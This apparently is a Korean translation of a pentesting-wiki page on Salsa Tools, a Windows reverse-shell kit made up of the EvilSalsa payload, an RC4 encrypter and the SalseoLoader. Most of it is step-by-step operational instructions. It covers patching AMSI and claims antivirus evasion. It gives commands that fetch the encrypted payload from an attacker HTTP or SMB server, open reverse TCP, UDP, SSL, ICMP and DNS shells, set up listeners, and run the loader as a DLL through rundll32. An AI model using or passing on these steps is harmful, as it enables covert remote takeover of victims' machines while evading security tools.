
Salsa Tools - ShellReverse TCP/UDP/ICMP/DNS/SSL/BINDTCP/Shellcode/SILENTTRINITY 및 AV bypass, AMSI patched
_____ __ ______ __
/ ___/____ _/ /________ _ /_ __/___ ____ / /____
\__ \/ __ `/ / ___/ __ `/ / / / __ \/ __ \/ / ___/
___/ / /_/ / (__ ) /_/ / / / / /_/ / /_/ / (__ )
/____/\__,_/_/____/\__,_/ /_/ \____/\____/_/____/
Salsa Tools는 세 가지 도구를 조합하여, 실행에 PowerShell이 필요 없이 모든 Windows 환경에서 강력한 리버스 셸을 얻을 수 있게 해주는 컬렉션입니다. 최신 탐지 기술(AMSI)을 회피하기 위해 대부분의 구성 요소는 C#으로 작성되었습니다. Salsa Tools는 2019년 2월 9일 h-c0n에서 열린 Luis Vacas의 발표 "Inmersión en la explotación tiene rima"에서 공개되었습니다.
* TCP/UDP/ICMP/DNS/BIND/SSL/Shellcode/SilentTrinity
* AV 안전 (2월 17일 기준)
* AMSI 패처
* PowerShell 실행
* ...
Salsa-Tools는 세 가지 재료로 구성됩니다: - EvilSalsa - EncrypterAssembly - SalseoLoader 그리고 동작 방식은 다음과 같습니다:
___ __ __ ____ _
/ _] | || || |
/ [_| | | | | | |
| _] | | | | | |___
| [_| : | | | | |
| |\ / | | | |
|_____| \_/ |____||_____|
_____ ____ _ _____ ____
/ ___/ / || | / ___/ / |
( \_ | o || | ( \_ | o |
\__ || || |___\__ || |
/ \ || _ || / \ || _ |
\ || | || \ || | |
\___||__|__||_____|\___||__|__|
[+] 이것이 우리의 페이로드입니다.
EvilSalsa는 이 레시피의 핵심 재료입니다. 페이로드를 포함하며, 시스템에서 다음과 같이 실행됩니다: 페이로드가 시작되면 System.Management.Automation.dll을 실행하여 runspace를 만듭니다. 이 runspace 내에는 네 가지 유형의 셸(TCP/UDP/ICMP/DNS/BINDTCP/SHELLCODE/SILENTTRINITY)이 있습니다. EvilSalsa가 로드되면 먼저 c:\windows\system32\amsi.dll의 존재 여부를 확인합니다. 존재하는 경우, CyberArk와 Rastamouse의 우회 기법을 변형한 자체 제작 방식으로 패치합니다.
______ _
| ____| | |
| |__ _ __ ___ _ __ _ _ _ __ | |_ ___ _ __
| __| | '_ \ / __| '__| | | | '_ \| __/ _ \ '__|
| |____| | | | (__| | | |_| | |_) | || __/ |
|______|_| |_|\___|_| \__, | .__/ \__\___|_|
/\ __/ | || | | |
/ \ ___ ___ ___ _|___/|_|| |__ | |_ _
/ /\ \ / __/ __|/ _ \ '_ ` _ \| '_ \| | | | |
/ ____ \\__ \__ \ __/ | | | | | |_) | | |_| |
/_/ \_\___/___/\___|_| |_| |_|_.__/|_|\__, |
__/ |
|___/
[+] RC4로 페이로드를 암호화하는 소프트웨어
[+] Python 버전과 .exe 버전이 있습니다.
EncrypterAssembly는 Python 스크립트나 Exe 바이너리로 사용할 수 있습니다. 이전에 생성된 EvilSalsa를 암호화합니다.
Python 사용법:
python encrypterassembly.py <FILE> <PASSWORD> <OUTPUT>
실행 파일 사용법:
Encrypterassembly.exe <FILE> <PASSWORD> <OUTPUT>
SalseoLoader는 암호화된 페이로드를 로드하는 역할을 합니다. 라이브러리나 실행 파일로 컴파일할 수 있습니다. 실행 파일로 실행할 경우, 실행 시 인자를 제공해야 합니다. 라이브러리로 컴파일할 경우, "main" 설명자를 내보내야 합니다. 인자는 환경 변수를 사용하여 추가됩니다.
_____ ____ _ _____ ___ ___
/ ___/ / || | / ___/ / _] / \
( \_ | o || | ( \_ / [_ | |
\__ || || |___\__ || _]| O |
/ \ || _ || / \ || [_ | |
\ || | || \ || || |
\___||__|__||_____|\___||_____| \___/
_ ___ ____ ___ ___ ____
| | / \ / || \ / _]| \
| | | || o || \ / [_ | D )
| |___ | O || || D || _]| /
| || || _ || || [_ | \
| || || | || || || . \
|_____| \___/ |__|__||_____||_____||__|\_|
By: CyberVaca@HackPlayers
[+] 사용법:
[-] SalseoLoader.exe password http://webserver.com/elfuckingmal.txt ReverseTCP LHOST LPORT
[-] SalseoLoader.exe password \\smbserver.com\evil\elfuckingmal.txt ReverseUDP LHOST LPORT
[-] SalseoLoader.exe password c:\temp\elfuckingmal.txt ReverseICMP LHOST
[-] SalseoLoader.exe password http://webserver.com/elfuckingmal.txt ReverseDNS LHOST ServerDNS
[-] SalseoLoader.exe password http://webserver.com/elfuckingmal.txt BindTCP LHOST LPORT
[-] SalseoLoader.exe password c:\temp\elfuckingmal.txt ReverseSSL LHOST LPORT
[-] SalseoLoader.exe password http://webserver.com/shellcode.txt shellcode
[-] SalseoLoader.exe password http://webserver.com/silent.txt silenttrinity URL_C2C
[+] 사용 가능한 페이로드:
[-] ReverseTCP [-] ReverseDNS [-] ReverseSSL [-] Shellcode
[-] ReverseUDP [-] ReverseICMP [-] BindTCP [-] SilentTrinity
GitHub에서 소스 코드를 다운로드하고 EvilSalsa와 SalseoLoader를 컴파일합니다. 코드를 컴파일하려면 Visual Studio가 설치되어 있어야 합니다.
Windows 박스 아키텍처에 맞게 해당 프로젝트를 컴파일합니다(Windows가 x64를 지원하는 경우 해당 아키텍처로 컴파일).
Visual Studio 왼쪽의 "Build" 탭에 있는 "Platform Target" 에서 아키텍처를 선택할 수 있습니다.
(이 옵션을 찾을 수 없는 경우 "Project Tab"을 누른 다음 "<프로젝트 이름> Properties"를 누르세요.)

그런 다음 두 프로젝트를 모두 빌드합니다(Build -> Build Solution). 로그에 실행 파일의 경로가 나타납니다.

먼저 EvilSalsa.dll을 인코딩해야 합니다. 이를 위해 Python 스크립트 encrypterassembly.py를 사용하거나 EncrypterAssembly 프로젝트를 컴파일할 수 있습니다.
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsa.dll password evilsalsa.dll.txt
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsa.dll password evilsalsa.dll.txt
이제 모든 살사 작업을 실행하는 데 필요한 모든 것이 준비되었습니다: 인코딩된 EvilDalsa.dll과 SalseoLoader 바이너리입니다. SalseoLoader.exe 바이너리를 대상 머신에 업로드합니다. 대부분의 AV에서 탐지되지 않아야 합니다.
리버스 셸 리스너로 nc를, 인코딩된 evilsalsa를 제공하기 위해 HTTP 서버를 실행해야 합니다.
SalseoLoader.exe password http://<공격자-IP>/evilsalsa.dll.txt reversetcp <공격자-IP> <Port>
리버스 셸 리스너로 nc를, 인코딩된 evilsalsa를 제공하기 위해 SMB 서버(impacket-smbserver)를 실행해야 합니다.
SalseoLoader.exe password \\<공격자-IP>/folder/evilsalsa.dll.txt reverseudp <공격자-IP> <Port>
공격자 머신에서 리스너 설정:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -key key.pem -cert cert.pem -port <port> -tls1
백도어 실행:
SalseoLoader.exe password C:/path/to/evilsalsa.dll.txt ReverseSSL <공격자-IP> <Port>
이번에는 클라이언트에서 리버스 셸을 수신하기 위해 특별한 도구가 필요합니다. 다운로드: [https://github.com/inquisb/icmpsh]
ICMP 응답 비활성화:
#완료 후 다시 활성화하려면 다음을 실행:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
클라이언트 실행:
python icmpsh_m.py "<공격자-IP>" "<피해자-IP>"
피해자 머신에서 살사 작업 실행:
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <공격자-IP>
Visual Studio를 사용하여 SalseoLoader 프로젝트를 엽니다.
main 함수 앞에 다음 줄을 추가합니다: [DllExport]

Tools --> NuGet Package Manager --> Manage NuGet Packages for Solution...

DllExport 패키지 검색 (Browse 탭 사용) 후 Install 클릭 (팝업 수락)

프로젝트 폴더에 DllExport.bat와 DllExport_Configure.bat 파일이 생성되었습니다.
Uninstall 클릭 (네, 이상하게 들리지만 저를 믿으세요. 필요합니다.)

Visual Studio를 종료합니다.
그런 다음 SalseoLoader 폴더로 이동하여 DllExport_Configure.bat를 실행합니다. x64 선택 (x64 박스에서 사용할 경우, 저의 경우였습니다), System.Runtime.InteropServices 선택 (DllExport의 네임스페이스) 후 Apply 클릭

[DllExport] 가 더 이상 오류로 표시되지 않아야 합니다.

출력 유형 = 클래스 라이브러리 선택 (Project --> SalseoLoader Properties --> Application --> Output type = Class Library)

x64 플랫폼 선택 (Project --> SalseoLoader Properties --> Build --> Platform target = x64)

솔루션 빌드: Build --> Build Solution (출력 콘솔에 새 DLL의 경로가 나타납니다)
DLL을 테스트할 위치로 복사하여 붙여넣습니다.
실행:
rundll32.exe SalseoLoader.dll,main
오류가 나타나지 않으면 작동하는 DLL이 있을 것입니다!
HTTP 서버와 nc 리스너를 설정하는 것을 잊지 마세요.
$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
$env:lhost="10.2.0.5"
$env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
set lhost=10.2.0.5
set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
Documented by https://github.com/carlospolop-forks/